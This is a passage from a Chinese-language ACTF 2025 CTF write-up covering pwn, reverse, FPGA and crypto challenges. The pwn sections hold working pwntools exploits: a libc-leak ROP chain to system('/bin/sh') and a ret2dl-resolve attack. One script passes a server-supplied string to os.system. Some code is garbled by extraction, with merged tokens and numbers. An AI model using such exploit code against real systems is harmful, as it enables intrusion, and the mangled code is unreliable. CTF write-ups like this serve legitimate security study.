    else:
        print("没有检测到POW验证")
        r.unrecv(first_line.encode() + b'n')  # 将第一行放回缓冲区
else:
    gdb.attach(r,'b write')
# 加载libc
libc_38 = ELF('./libc.so.6')
start = 0x401050
ret = 0x40115e

# 第一次发送Payload
Payload = p64(start)*17 + p64(ret)*22 + p64(start)
raw_input()
r.send(Payload)

raw_input()
# 第二次发送Payload
r.send(p64(start)*17 + b'x60xa3')
# 捕获以0x7f开头的地址
leaks = []
for i in range(18):  # 只接收18个地址
    try:
        # 接收8个字节的数据
        data = r.recv(8)
        ifnot data or len(data) < 8:
            print(f"无法接收第{i+1}个地址,只收到 {len(data) if data else 0} 字节")
            # 尝试接收更多数据
            more_data = r.recv(8 - len(data) if data else8, timeout=1)
            if more_data:
                data = (data if data elseb'') + more_data
            else:
                continue

        # 解析为8字节地址
        leak = u64(data)

        # 无论前缀如何,都添加到列表并打印
        leaks.append(leak)
        print(f"地址 {i+1}{hex(leak)}")


    except Exception as e:
        print(f"处理第{i+1}个地址时出错: {str(e)}")

# 验证所有泄漏的地址是否大小相同
if leaks:
    print("n捕获到的地址:")
    for i, leak in enumerate(leaks):
        print(f"{i+1}{hex(leak)}")
    
    # 检查所有地址是否大小相同
    if all(leak == leaks[0for leak in leaks):
        print("n所有泄漏地址大小相同")
    else:
        print("n泄漏地址大小不同")
else:
    print("未捕获到任何以0x7f开头的地址")

# 使用第一个泄漏地址(如果有)
if leaks:
    leak = leaks[17]-0x2a360
    print(f"n使用泄漏地址: {hex(leak)}")
    
    # 计算system地址和/bin/sh字符串地址
    system = leak + libc_38.sym['system']
    sh_str = leak + next(libc_38.search(b'/bin/shx00'))
    pop_rdi = leak + 0x000000000010f75b
    
    print(f"system地址: {hex(system)}")
    print(f"/bin/sh字符串地址: {hex(sh_str)}")
    print(f"pop rdi gadget地址: {hex(pop_rdi)}")
    
    # 构造最终Payload
    Payload1 = p64(0)*17 + p64(pop_rdi) + p64(sh_str) + p64(ret) + p64(system)
    
    # 发送最终Payload
    print("发送最终Payload...")
    raw_input()
    r.send(Payload1)
r.interactive()

ret2dl by八爪鱼

本地稳定onegadget通,远端就是不通,不知道环境为啥

from pwnplus import *#pwnplus贴在blogbo.cn
import os
context.arch = 'amd64'
context.log_level = 'debug'
elf=ELF('./only_read')
libc=ELF('./libc.so.6')
remote=1
if remote:
    p=mypwn('sensitive_ip:9999')
    p.rcvu(b'Submit the token generated by `')
    message=p.rcv(24)
    cmd=message.decode()
    os.system(cmd+'>temp')
    ans=open('temp','rb').read()
    os.remove('temp')
    print(ans)
    p.sda(b'seconds',ans)
else:
    p=mypwn('./only_read')
def get_ret2dl_data(fake_link_map_addr, got_solved_addr, system_base, solved_base):
    offset = system_base - solved_base

    fake_Elf64_Dyn = b""
    fake_Elf64_Dyn += p64(0)  # d_tag  从link_map中找.rel.plt不需要用到标签, 随意设置
    fake_Elf64_Dyn += p64(fake_link_map_addr + 0x18)  # d_ptr  指向伪造的Elf64_Rela结构体,由于reloc_offset也被控制为0,不需要伪造多个结构体

    fake_Elf64_Rela = b""
    fake_Elf64_Rela += p64(
        fake_link_map_addr - offset)  # r_offset rel_addr = l->addr+reloc_offset,
    # 直接指向fake_link_map所在位置令其可读写就行,offset为指向的需要的函数距离可得真实地址的函数的偏移
    fake_Elf64_Rela += p64(7)  # r_info index设置为0,最后一字节必须为7
    fake_Elf64_Rela += p64(0)  # r_addend  随意设置

    fake_Elf64_Sym = b""
    fake_Elf64_Sym += p32(0)  # st_name 随意设置
    fake_Elf64_Sym += b'AAAA'# st_info, st_other, st_shndx st_other非0以避免进入重定位符号的分支
    fake_Elf64_Sym += p64(got_solved_addr - 8)  # st_value 已解析函数的got表地址-8,-8体现在汇编代码中,原因不明
    fake_Elf64_Sym += p64(0)  # st_size 随意设置

    fake_link_map_data = b""
    # 如果offset为负数使用补码
    if offset < 0:
        fake_link_map_data += p64(2 ** 64 + offset)  # l_addr,伪造为两个函数的地址偏移值的补码(为负时)
    else:
        fake_link_map_data += p64(offset)  # l_addr,伪造为两个函数的地址偏移值

    fake_link_map_data += fake_Elf64_Dyn
    fake_link_map_data += fake_Elf64_Rela
    fake_link_map_data += fake_Elf64_Sym
    fake_link_map_data += b'x00' * 0x20
    fake_link_map_data += p64(fake_link_map_addr)  # DT_STRTAB 设置为一个可读的地址
    fake_link_map_data += p64(fake_link_map_addr + 0x30)  # DT_SYMTAB 指向对应结构体数组的地址
    fake_link_map_data += b"/bin/shx00"
    fake_link_map_data += b'x01' * 0x78
    fake_link_map_data += p64(fake_link_map_addr + 0x8)  # DT_JMPREL 指向对应数组结构体的地址

    return fake_link_map_data

retaddr=0x401142
bss=0x404580
fake_link_map_addr=bss+0x80
onegadget=[0x583ec,0x583f3,0xef4ce,0xef52b]
fake_link_map_data = get_ret2dl_data(fake_link_map_addr, elf.got['read'], onegadget[3], libc.symbols['read'])#onegadget也可以哦
paylaod1=flat({
    0x80:p64(bss),
    0x88:p64(retaddr),
},filler=b'x00')
if remote:
    p.sda(b'Here is your challenge~',paylaod1)
else:
    p.sd(paylaod1)
# p.debug()
# raw_input()
jmp_dl=0x401026
payload2=flat({
    0:p64(retaddr)*8,
    0x80:p64(bss-0x80),
    0x88:p64(jmp_dl),
    0x90:fake_link_map_addr,
    0x98:0,
    0x100:fake_link_map_data
},filler=b'x00')
p.sd(payload2)

p.ia()

Reverse

clé secrète

静态链接无符号,BinaryAI梭哈

初步调试发现先生成64随机字符,根据这一串字符生成随机数据,随后993次循环根据随机数据运算再得到一组hash

这里BinaryAI能容易的还原出一些crypto函数符号

ACTF 2025 Writeup by Nepnep

初始64随机字符后,计算blake2b hash,取模到 ed25519

from nacl.bindings import crypto_core_ed25519_scalar_reduce
from nacl.bindings import crypto_core_ed25519_scalar_add
import hashlib
import struct
KEY = b"AfmVhxHgU1ipoxJOFKW65Ac2m21fnu7iH8YLzu8eEQoCUaKkKLkk3Y0mvU+LP9r/"# random
BigNum = []
for i in range(1024):
    data = struct.pack("<Q",i)
    b2B = hashlib.blake2b(key=KEY, digest_size=64)
    b2B.update(data)
    digest = b2B.digest()
    r = crypto_core_ed25519_scalar_reduce(digest)
    print(hex(int.from_bytes(r,'little')))
    BigNum.append(r)
    # print(r.hex())

随后993次循环,随机32字符,计算hash后,运算,取BigNum 中的32项相加

SELECT_TABLE = [
 74235167,
46450723,
60764375,
12617056,
27023510,
01376244,
53102432,
35541601
]
def calc(data):
    b2B = hashlib.blake2b(digest_size=64)
    b2B.update(data)
    digest = b2B.digest()
    # print(digest.hex())
    b2B = hashlib.blake2b(key = digest,digest_size=64)
    data = struct.pack("<Q",0)
    b2B.update(data)
    digest = b2B.digest()
    # print("AAA",digest.hex())
    result = crypto_core_ed25519_scalar_reduce(b'x00'*64)
    count = 0
    for j in range(4):
        s0 = digest[count + 0] & 7
        s1 = digest[count + 1] & 7
        count += 2
        for k in range(8):
            select = j*8 + SELECT_TABLE[((s0 + k)&7) * 8 + s1]
            # print(select,s0 + k,s1)
            result = crypto_core_ed25519_scalar_add(result,BigNum[select * 32 + (digest[count] & 0x1F) ])
            # print(result.hex())
            count += 1
    return result

根据993次运算,构造方程还原随机数据,AI写高斯求解过程

from scipy.sparse import csr_matrix
from scipy.sparse.linalg import spsolve
import numpy as np
import hashlib
import struct

BigNum = [0for i in range(1024)]
MOD = 2 ** 252 + 27742317777372353535851937790883648493

SELECT_TABLE = [
74235167,
46450723,
60764375,
12617056,
27023510,
01376244,
53102432,
35541601
]

def calc(data):
    b2B = hashlib.blake2b(digest_size=64)
    b2B.update(data)
    digest = b2B.digest()
    # print(digest.hex())
    b2B = hashlib.blake2b(key = digest,digest_size=64)
    data = struct.pack("<Q",0)
    b2B.update(data)
    digest = b2B.digest()
    # print("AAA",digest.hex())
    result = 0
    count = 0
    for j in range(4):
        s0 = digest[count + 0] & 7
        s1 = digest[count + 1] & 7
        count += 2
        for k in range(8):
            select = j*8 + SELECT_TABLE[((s0 + k)&7) * 8 + s1]
            # print(select,s0 + k,s1)
            result = (result + BigNum[select * 32 + (digest[count] & 0x1F) ] )
            # print(result.hex())
            count += 1
    return result % MOD

def calc2(data):
    b2B = hashlib.blake2b(digest_size=64)
    b2B.update(data)
    digest = b2B.digest()
    # print(digest.hex())
    b2B = hashlib.blake2b(key = digest,digest_size=64)
    data = struct.pack("<Q",0)
    b2B.update(data)
    digest = b2B.digest()
    # print("AAA",digest.hex())
    result = [0for i in range(1024)]
    count = 0
    for j in range(4):
        s0 = digest[count + 0] & 7
        s1 = digest[count + 1] & 7
        count += 2
        for k in range(8):
            select = j*8 + SELECT_TABLE[((s0 + k)&7) * 8 + s1]
            # print(select,s0 + k,s1)
            result[select * 32 + (digest[count] & 0x1F)] += 1
            # print(result.hex())
            count += 1
    return result

def calc3(data):
    b2B = hashlib.blake2b(digest_size=64)
    b2B.update(data)
    digest = b2B.digest()
    # print(digest.hex())
    b2B = hashlib.blake2b(key = digest,digest_size=64)
    data = struct.pack("<Q",0)
    b2B.update(data)
    digest = b2B.digest()
    # print("AAA",digest.hex())
    result = []
    count = 0
    for j in range(4):
        s0 = digest[count + 0] & 7
        s1 = digest[count + 1] & 7
        count += 2
        for k in range(8):
            select = j*8 + SELECT_TABLE[((s0 + k)&7) * 8 + s1]
            # print(select,s0 + k,s1)
            result.append(select * 32 + (digest[count] & 0x1F))
            # print(result.hex())
            count += 1
    return result

def modinv(x, p):
    return pow(x, p - 2, p)  # 费马小定理求逆元,p是素数

def gauss_mod(mat, p):
    n = len(mat)      # 方程个数
    m = len(mat[0]) - 1# 变量个数(最后一列是常数项)

    row = 0
    for col in range(m):
        pivot = -1
        for i in range(row, n):
            if mat[i][col] % p != 0:
                pivot = i
                break
        if pivot == -1:
            continue# 自由变量
        mat[row], mat[pivot] = mat[pivot], mat[row]
        inv = modinv(mat[row][col], p)
        for j in range(col, m + 1):
            mat[row][j] = mat[row][j] * inv % p
        for i in range(n):
            if i != row and mat[i][col] % p != 0:
                factor = mat[i][col]
                for j in range(col, m + 1):
                    mat[i][j] = (mat[i][j] - factor * mat[row][j]) % p
        row += 1

    # 提取一个解(自由变量取0)
    sol = [0] * m
    for i in range(row):
        first_one = next((j for j in range(m) if mat[i][j] == 1), None)
        if first_one isnotNone:
            sol[first_one] = mat[i][-1]
    return sol
MOD = 2 ** 252 + 27742317777372353535851937790883648493
def solve_sparse_mod(A_sparse, b):
    n_rows = len(A_sparse)
    n_cols = 1024

    # 构建完整稠密矩阵
    A_dense = [[0] * n_cols for _ in range(n_rows)]
    for i in range(n_rows):
        for j in A_sparse[i]:  # A_sparse[i] 是一个索引list
            A_dense[i][j] = 1

    # 接下来就是普通高斯消元
    row = 0
    for col in range(n_cols):
        pivot = -1
        for i in range(row, n_rows):
            if A_dense[i][col] % MOD != 0:
                pivot = i
                break
        if pivot == -1:
            continue# 自由变量
        A_dense[row], A_dense[pivot] = A_dense[pivot], A_dense[row]
        b[row], b[pivot] = b[pivot], b[row]

        inv = pow(A_dense[row][col], MOD-2, MOD)
        for j in range(col, n_cols):
            A_dense[row][j] = A_dense[row][j] * inv % MOD
        b[row] = b[row] * inv % MOD

        for i in range(n_rows):
            if i != row and A_dense[i][col] != 0:
                factor = A_dense[i][col]
                for j in range(col, n_cols):
                    A_dense[i][j] = (A_dense[i][j] - factor * A_dense[row][j]) % MOD
                b[i] = (b[i] - factor * b[row]) % MOD
        row += 1

    # 提取解
    x = [0] * n_cols
    for i in range(n_rows):
        for j in range(n_cols):
            if A_dense[i][j] == 1:
                x[j] = b[i]
                break
    return x
    
D = ["htQnPFBD08/U7RSHB88Uz78zh+Nerbhr", ...]
A = ["f58d8d1521389d3db526aa4562390040878e77e55edaf4482762a8a6031d9b0a",...]
D_int = []

M = []
print("993")
for i in range(993):
    a = int.from_bytes(bytes.fromhex(A[i]),'little')
    r = calc3(D[i].encode())
    M.append(r)
    D_int.append(a)
for j in range(993):
    for i in range(32):
        print(M[j][i],end=' ')
    print("!" + str(D_int[j]))

f = open("output.txt","r")
BL = f.readlines()
for i in range(1024):
    BigNum[i] = int(BL[i])
# import time
# T1 = time.time()
# sol = solve_sparse_mod(M, D_int)
# T2 = time.time()
# print(T2 - T1)
# BigNum = sol

for i in range(993):
    r = calc(D[i].encode()) # known
    a = int.from_bytes(bytes.fromhex(A[i]),'little')
    assert(r == a)
    # print(r.to_bytes(32,"little").hex())

solve_sparse_mod 为求解过程,求解大概需要130s,远程连接会超时,

AI转写C

#include <gmp.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#define MAX_COLS_PER_ROW 32
#define N_COLS 1024
void solve_sparse_mod(int** A_sparse, int* row_sizes, int n_rows, mpz_t* b, mpz_t* x) {
    constint n_cols = 1024;
    mpz_t MOD;
    mpz_init(MOD);

    // 初始化 MOD = 2^252 + 27742317777372353535851937790883648493
    mpz_set_ui(MOD, 1);
    mpz_mul_2exp(MOD, MOD, 252);
    mpz_t add_mod;
    mpz_init_set_str(add_mod, "27742317777372353535851937790883648493"10);
    mpz_add(MOD, MOD, add_mod);
    mpz_clear(add_mod);

    // 构建稠密矩阵 A_dense
    mpz_t** A_dense = (mpz_t**)malloc(n_rows * sizeof(mpz_t*));
    for (int i = 0; i < n_rows; i++) {
        A_dense[i] = (mpz_t*)malloc(n_cols * sizeof(mpz_t));
        for (int j = 0; j < n_cols; j++) {
            mpz_init_set_ui(A_dense[i][j], 0);
        }
        for (int k = 0; k < row_sizes[i]; k++) {
            int col_idx = A_sparse[i][k];
            mpz_set_ui(A_dense[i][col_idx], 1);
        }
    }

    int row = 0;
    for (int col = 0; col < n_cols; col++) {
        // 寻找主元
        int pivot = -1;
        for (int i = row; i < n_rows; i++) {
            if (mpz_cmp_ui(A_dense[i][col], 0) != 0) {
                pivot = i;
                break;
            }
        }
        if (pivot == -1continue;

        // 交换行
        mpz_t* temp_row = A_dense[row];
        A_dense[row] = A_dense[pivot];
        A_dense[pivot] = temp_row;

        // 交换b元素
        mpz_swap(b[row], b[pivot]);

        // 归一化当前行
        mpz_t inv;
        mpz_init(inv);
        if (!mpz_invert(inv, A_dense[row][col], MOD)) {
            mpz_clear(inv);
            continue// 理论上不应发生,假设MOD为质数
        }

        for (int j = col; j < n_cols; j++) {
            mpz_mul(A_dense[row][j], A_dense[row][j], inv);
            mpz_mod(A_dense[row][j], A_dense[row][j], MOD);
        }
        mpz_mul(b[row], b[row], inv);
        mpz_mod(b[row], b[row], MOD);
        mpz_clear(inv);

        // 消元其他行
        for (int i = 0; i < n_rows; i++) {
            if (i == row) continue;
            mpz_t factor;
            mpz_init(factor);
            mpz_set(factor, A_dense[i][col]);
            if (mpz_cmp_ui(factor, 0) == 0) {
                mpz_clear(factor);
                continue;
            }

            for (int j = col; j < n_cols; j++) {
                mpz_submul(A_dense[i][j], factor, A_dense[row][j]);
                mpz_mod(A_dense[i][j], A_dense[i][j], MOD);
            }
            mpz_submul(b[i], factor, b[row]);
            mpz_mod(b[i], b[i], MOD);
            mpz_clear(factor);
        }

        row++;
        if (row >= n_rows) break;
    }

    // 提取解x
    for (int j = 0; j < n_cols; j++) {
        mpz_set_ui(x[j], 0);
    }
    for (int i = 0; i < n_rows; i++) {
        for (int j = 0; j < n_cols; j++) {
            if (mpz_cmp_ui(A_dense[i][j], 1) == 0) {
                mpz_set(x[j], b[i]);
                break;
            }
        }
    }

    // 清理内存
    // mpz_clear(MOD);
    // for (int i = 0; i < n_rows; i++) {
    //     for (int j = 0; j < n_cols; j++) {
    //         mpz_clear(A_dense[i][j]);
    //     }
    //     free(A_dense[i]);
    // }
    // free(A_dense);
}

// 示例用法
int main(int argc, char* argv[]) {
    
    if (argc != 2) {
        fprintf(stderr"Usage: %s <input_file>n", argv[0]);
        return1;
    }

    FILE* fp = fopen(argv[1], "r");
    if (!fp) {
        perror("Error opening file");
        return1;
    }

    // 读取n_rows(文件第一行)
    int n_rows;
    if (fscanf(fp, "%dn", &n_rows) != 1) {
        fprintf(stderr"Error reading n_rowsn");
        fclose(fp);
        return1;
    }

    // 分配内存
    int** A_sparse = (int**)malloc(n_rows * sizeof(int*));
    int* row_sizes = (int*)malloc(n_rows * sizeof(int));
    mpz_t* b = (mpz_t*)malloc(n_rows * sizeof(mpz_t));

    char line[4096];
    for (int i = 0; i < n_rows; i++) {
        if (!fgets(line, sizeof(line), fp)) {
            fprintf(stderr"Error reading row %dn", i);
            break;
        }

        // 解析32个列索引
        A_sparse[i] = (int*)malloc(MAX_COLS_PER_ROW * sizeof(int));
        char* ptr = line;
        int count = 0;
        
        for (int j = 0; j < MAX_COLS_PER_ROW; j++) {
            int col;
            if (sscanf(ptr, "%d%n", &col, &count) != 1) {
                fprintf(stderr"Error reading columns for row %dn", i);
                break;
            }
            A_sparse[i][j] = col;
            ptr += count;
        }
        row_sizes[i] = MAX_COLS_PER_ROW;

        // 读取b值(行末的大整数)
        mpz_init(b[i]);
        if (mpz_set_str(b[i], strchr(line, '!') + 110) != 0) {
            fprintf(stderr"Error parsing b value for row %dn", i);
            mpz_set_ui(b[i], 0);
        }
        // gmp_printf("%Zdn", b[i]);
    }
    fclose(fp);

    // 初始化解向量
    mpz_t* x = (mpz_t*)malloc(N_COLS * sizeof(mpz_t));
    for (int i = 0; i < N_COLS; i++) {
        mpz_init(x[i]);
    }
// printf("Stage1n");
    // 求解
    solve_sparse_mod(A_sparse, row_sizes, n_rows, b, x);

    // // 输出结果(示例:前10个解)
    // printf("First 10 solutions:n");
    for (int i = 0; i < 1024; i++) {
        gmp_printf("%Zdn", x[i]);
    }

    // // 清理内存
    // for (int i = 0; i < n_rows; i++) {
    //     free(A_sparse[i]);
    //     mpz_clear(b[i]);
    // }
    // free(A_sparse);
    // free(row_sizes);
    // free(b);
    
    // for (int i = 0; i < N_COLS; i++) {
    //     mpz_clear(x[i]);
    // }
    // free(x);

    return0;
}

解一组大概需要29.5s

python交互

from pwn import *

rrr = remote("sensitive_ip",9999)

D = []
A = []
rrr.recvline()
for i in range(993):
    rrr.recvuntil(b' = ')
    ID = rrr.recvuntil(b',').strip(b',').decode()
    rrr.recvuntil(b' = ')
    CS = rrr.recvline().strip().decode()
    D.append(ID)
    A.append(CS)
    print(ID,CS)

BigNum = [0for i in range(1024)]
MOD = 2 ** 252 + 27742317777372353535851937790883648493

SELECT_TABLE = [
74235167,
46450723,
60764375,
12617056,
27023510,
01376244,
53102432,
35541601
]

def calc(data):
    b2B = hashlib.blake2b(digest_size=64)
    b2B.update(data)
    digest = b2B.digest()
    # print(digest.hex())
    b2B = hashlib.blake2b(key = digest,digest_size=64)
    data = struct.pack("<Q",0)
    b2B.update(data)
    digest = b2B.digest()
    # print("AAA",digest.hex())
    result = 0
    count = 0
    for j in range(4):
        s0 = digest[count + 0] & 7
        s1 = digest[count + 1] & 7
        count += 2
        for k in range(8):
            select = j*8 + SELECT_TABLE[((s0 + k)&7) * 8 + s1]
            # print(select,s0 + k,s1)
            result = (result + BigNum[select * 32 + (digest[count] & 0x1F) ] )
            # print(result.hex())
            count += 1
    return result % MOD

def calc3(data):
    b2B = hashlib.blake2b(digest_size=64)
    b2B.update(data)
    digest = b2B.digest()
    # print(digest.hex())
    b2B = hashlib.blake2b(key = digest,digest_size=64)
    data = struct.pack("<Q",0)
    b2B.update(data)
    digest = b2B.digest()
    # print("AAA",digest.hex())
    result = []
    count = 0
    for j in range(4):
        s0 = digest[count + 0] & 7
        s1 = digest[count + 1] & 7
        count += 2
        for k in range(8):
            select = j*8 + SELECT_TABLE[((s0 + k)&7) * 8 + s1]
            # print(select,s0 + k,s1)
            result.append(select * 32 + (digest[count] & 0x1F))
            # print(result.hex())
            count += 1
    return result
D_int = []
f = open("input.txt","w")
f.write("993n")
import time
T1 = time.time()
M = []
for i in range(993):
    a = int.from_bytes(bytes.fromhex(A[i]),'little')
    r = calc3(D[i].encode())
    M.append(r)
    D_int.append(a)
for j in range(993):
    for i in range(32):
        f.write(str(M[j][i]) +" ")
    f.write("!" + str(D_int[j]) + "n")
f.close()

os.system("./a.out input.txt > output.txt")
f = open("output.txt","r")
BL = f.readlines()
for i in range(1024):
    BigNum[i] = int(BL[i])

T2 = time.time()

print(T2 - T1)

context.log_level = 'debug'
rrr.recvuntil(b' de ')
ID = rrr.recvline().strip().decode()
r = calc(ID.encode())
ans = r.to_bytes(32,"little").hex()
rrr.sendline(ans)

rrr.interactive()
ACTF 2025 Writeup by Nepnep
ACTF{N0-fU1L~r@nK_OnIy-mAke_problem-simple||doge||xbewi3943}

ezFPGA

AI转写 encryptor.sv to C

#include <stdint.h>
#include <string.h>

typedefuint8_tuint8_t;

int main() {
    // 初始化FLAG和aa数组
    constuint8_t FLAG[14] = {'A','C','T','F','{','t','e','s','t','f','l','a','g','}'};
    uint8_t aa[39] = {0};
    for(int i=0; i<14; i++) aa[i] = FLAG[i];

    // 定义并计算ac数组
    constuint8_t ab[4] = {11,4,5,14};
    uint8_t ac[36] = {0};
    for(int i=0; i<36; i++) {
        ac[i] = aa[i]*ab[0] + aa[i+1]*ab[1] + aa[i+2]*ab[2] + aa[i+3]*ab[3];
    }

    // 定义ad并计算ae数组
    constuint8_t ad[36] = {116,174,193,124,102,100,11,193,115,4,127,139,98,214,197,145,97,151,31,30,117,15,230,179,235,25,244,202,73,222,15,191,119,140,94,32};
    uint8_t ae[36] = {0};
    for(int i=0; i<36; i++) {
        int block = i / 6;
        int pos = i % 6;
        for(int k=0; k<6; k++) {
            ae[i] += ac[block*6 + k] * ad[pos + k*6];
        }
    }

    // 初始化密钥调度相关数组
    uint8_t ba[256];
    uint8_t db[8] = {'e','c','l','i','p','s','k','y'};
    uint8_t af[36] = {0};

    // S0状态:初始化ba数组
    for(int da=0; da<256; da++) ba[da] = da;

    // S1状态:置换ba数组
    uint8_t cg = 0;
    for(int da=0; da<256; da++) {
        uint8_t ch = cg + ba[da] + db[da%8];
        uint8_t temp = ba[da];
        ba[da] = ba[ch];
        ba[ch] = temp;
        cg = ch;
    }

    // S2状态:生成af数组
    uint8_t ca = 0, cb = 0;
    for(int da=0; da<36; da++) {
        uint8_t cd = ca + 1;
        uint8_t ce = cb + ba[cd];
        uint8_t cf = ba[cd] + ba[ce];
        
        // 交换ba[cd]和ba[ce]
        uint8_t temp = ba[cd];
        ba[cd] = ba[ce];
        ba[ce] = temp;
        
        af[da] = ba[cf] + ae[da];
        ca = cd;
        cb = ce;
    }

    // S3状态:输出结果(示例输出)
    for(int da=0; da<36; da++) {
        printf("cypher[%d] = %dn", da, af[da]);
    }

    return0;
}

其中密文观察Testbench.vcd发现

ACTF 2025 Writeup by Nepnep

注意到中间有空,如果值不变则不会输出,这里的密文要重复上一个字节

ACTF 2025 Writeup by Nepnep

0xad,0x00,0xc0,0x9f,0x16,0x17,0xec,0x25,0x25,0x1f,0x12,0xe2,0x7f,0x9f,0x37,0x53, 0x12,0xba,0x8d,0x38,0x60,0x14,0x1b,0x31,0x8e,0x13,0xe2,0x56,0x0a,0x1a,0x25,0xb9, 0x80,0x73,0x8a,0x60

可以看到有个类似于RC4的算法,先解RC4

#include <stdint.h>
#include <string.h>

typedefuint8_tuint8_t;

int main() {
    uint8_t ae[36] = {0};
    // 初始化密钥调度相关数组
    uint8_t ba[256];
    uint8_t db[8] = {'e','c','l','i','p','s','k','y'};
    uint8_t af[36] = {
0xad,0x00,0xc0,0x9f,0x16,0x17,0xec,0x25,0x25,0x1f,0x12,0xe2,0x7f,0x9f,0x37,0x53,
0x12,0xba,0x8d,0x38,0x60,0x14,0x1b,0x31,0x8e,0x13,0xe2,0x56,0x0a,0x1a,0x25,0xb9,
0x80,0x73,0x8a,0x60};

    // S0状态:初始化ba数组
    for(int da=0; da<256; da++) ba[da] = da;

    // S1状态:置换ba数组
    uint8_t cg = 0;
    for(int da=0; da<256; da++) {
        uint8_t ch = cg + ba[da] + db[da%8];
        uint8_t temp = ba[da];
        ba[da] = ba[ch];
        ba[ch] = temp;
        cg = ch;
    }

    // S2状态:生成af数组
    uint8_t ca = 0, cb = 0;
    for(int da=0; da<36; da++) {
        uint8_t cd = ca + 1;
        uint8_t ce = cb + ba[cd];
        uint8_t cf = ba[cd] + ba[ce];
        
        // 交换ba[cd]和ba[ce]
        uint8_t temp = ba[cd];
        ba[cd] = ba[ce];
        ba[ce] = temp;
        
        ae[da] = af[da] - ba[cf];
        ca = cd;
        cb = ce;
    }

    for(int da=0; da<36; da++) {
        printf("0x%.2x,",  ae[da]);
    }
    printf("n");
    return0;
}

随后z3求解

from z3 import *

ANS = [BitVec("ANS%.2d"%i,8for i in range(39)]

s = Solver()
s.add(ANS[0] == 0x41
s.add(ANS[1] == 0x43
s.add(ANS[2] == 0x54
s.add(ANS[3] == 0x46
s.add(ANS[4] == 0x7B)
for i in range(5,39):
    s.add(Or(ULE(ANS[i],0x7e),ANS[i] == 0)) 

ab = [11,4,5,14]
AC = [BitVec("AC%.2d"%i,8for i in range(36)]

for i in range(36):
    s.add(AC[i] == ANS[i + 0] * 11 + ANS[i + 1] * 4 + ANS[i + 2] * 5 + ANS[i + 3] * 14 )

AE = [BitVecVal(0,8for i in range(36)]
AD = [116,174,193,124,102,100,11,193,115,4,127,139,98,214,197,145,97,151,31,30,117,15,230,179,235,25,244,202,73,222,15,191,119,140,94,32]
for i in range(36):
    for j in range(6):
        block = i // 6
        pos = i % 6
        AE[i] += AC[block*6 +j] * AD[pos + j*6]

AE_ANS=[0x6b,0x01,0xbf,0x6d,0xbc,0x16,0x49,0x91,0xf3,0xeb,0x4c,0x71,0x4e,0xf0,0xc0,0xc5,0x46,0xf8,0x7d,0x51,0x52,0x3d,0x8b,0x8e,0x4e,0xd8,0xa2,0xb2,0x33,0xe3,0xf4,0x87,0x52,0x87,0xc3,0x22,]

for i in range(36):
    s.add(AE[i] == AE_ANS[i])

s.check()
m = s.model()
for i in range(39):
    print(chr(m.eval(ANS[i]).as_long()),end='')
ACTF{RC4_4nd_FPGA_w4lk_1nt0_4_b4r}

Crypto

easy_log

先放flag

ACTF 2025 Writeup by Nepnep

几个简单的素数用sage处理就好了,很快

ACTF 2025 Writeup by Nepnep

生成第二步用的p400

ACTF 2025 Writeup by Nepnep

用神器不限时解240的那个大素数得到的结果

ACTF 2025 Writeup by Nepnep
ACTF 2025 Writeup by Nepnep
ACTF 2025 Writeup by Nepnep
remainders = []
modulus_list = []

for p, e in list(n_dic.items()):
    if p in (2,5): # 小因子不用管
        continue
    order = p**e
    print(f'处理素因子 {p}^{e}')

    # 判断 5 是否为 p 上的平方剩余
    F0 = GF(p^e)
    F1.<X> = PolynomialRing(F0)
    if F0(5).is_square():
        F = F0
        sqrt5 = F(5).sqrt()
    else:
        F.<a> = GF(p^2, name='a', modulus=X^2-5# a^2=5
        sqrt5 = F(a)
        # F(5).sqrt() 是 a
    # 实现映射
    def phi(P):
        return F(P.x) * (sqrt5 - 1) / 2 + F(P.y)

    # G1/f1 投影到模 p 空间
    G1p = Point(int(G1.x % order), int(G1.y % order))
    Pp = Point(int(P.x % order), int(P.y % order))

    base = phi(G1p)
    target = phi(Pp)

    try:
        print(base,target)
        if p==p1:
            continue
        k = discrete_log(target, base) # Sage的discrete_log
        print(f'{k%((p-1)*p^(1-1))}')
        print(sk1%((p-1)*p^(1-1)))
        remainders.append(int(k))
        modulus_list.append((p-1)*p^(1-1))
    except Exception as ex:
        print('DLP求解失败:', ex)
        # 可调整下 base 是否非平凡,或尝试 -base, 或加点绕路等
        continue
flags=b"ACTF{OL#m9Lpg8D1$<R3&e=10"
for i in range(20,30):
   try
     flag0 = crt(remainders+[bytes_to_long(flags[:i])], modulus_list+[2^(8*i)])
     if ((flag0).nbits()<545):
         print((flag0).nbits())
         print(long_to_bytes(flag0))
         print(flag0)
         print(p400)
   except:
     continue
# -*- coding: utf-8 -*-
import random  # Sage 内置 Python 的 random 模块

def is_B_smooth(n, B):
    """
    检查 n 是否 B-光滑(即 n 的所有素因子均不大于 B)
    """

    for prime_factor, exp in factor(n):
        if prime_factor > B:
            returnFalse
    returnTrue

def generate_p1_smooth_prime(nbits, B, max_trials=10000):
    """
    生成一个素数 p,要求:
      1. p 的位长为 nbits,
      2. p-1 是 B-光滑的。
      
    算法说明:
      - 取素数列表 ps = 所有不超过 B 的素数;
      - 每次试验中,先随机打乱 ps 的顺序;
      - 对每个 p_in_ps,随机选取一个指数(这里限制不超过 4 或者受上限控制),
        使得候选数 candidate *= (p_in_ps)^e 不超过 2^nbits(候选 p-1 的上限)。
      - 令 p_candidate = candidate + 1,如果 p_candidate 在 [2^(nbits-1), 2^nbits)
        区间内且为素数,则返回 p_candidate。
    """

    lower_bound = 2**(nbits - 1)
    upper_bound = 2**nbits
    ps = list(prime_range(2, B + 1))
    trial = 0
    while trial < max_trials:
        trial += 1
        candidate = 1
        # 随机打乱素数列表,增加生成候选数的多样性
        random.shuffle(ps)
        for p in ps:
            # 当 candidate 过大时跳出
            if candidate >= upper_bound:
                break
            # 计算在不使 candidate 超出上界的条件下,能够用 p 的最大指数
            max_e = floor(log(upper_bound / candidate, p))
            # 为避免指数过大,限制最大指数为 4(该参数可根据需要调整)
            max_e = min(max_e, 4)
            if max_e < 1:
                continue
            # 随机选取指数 0 到 max_e 之间(包含 0,表示该质因子本轮不参与)
            e = randint(0, max_e)
            candidate *= p**e
        p_candidate = candidate + 1
        # 检查 p_candidate 是否达到位长要求,且为素数
        if lower_bound <= p_candidate < upper_bound and is_prime(p_candidate):
            # 理论上 candidate 已由位于 [2, B] 内的素数构成,p_candidate-1 自然 B-光滑,
            # 但这里可再加一次验证:
            if is_B_smooth(p_candidate - 1, B):
                print("经过 {} 次试验后找到合适的 p".format(trial))
                return p_candidate
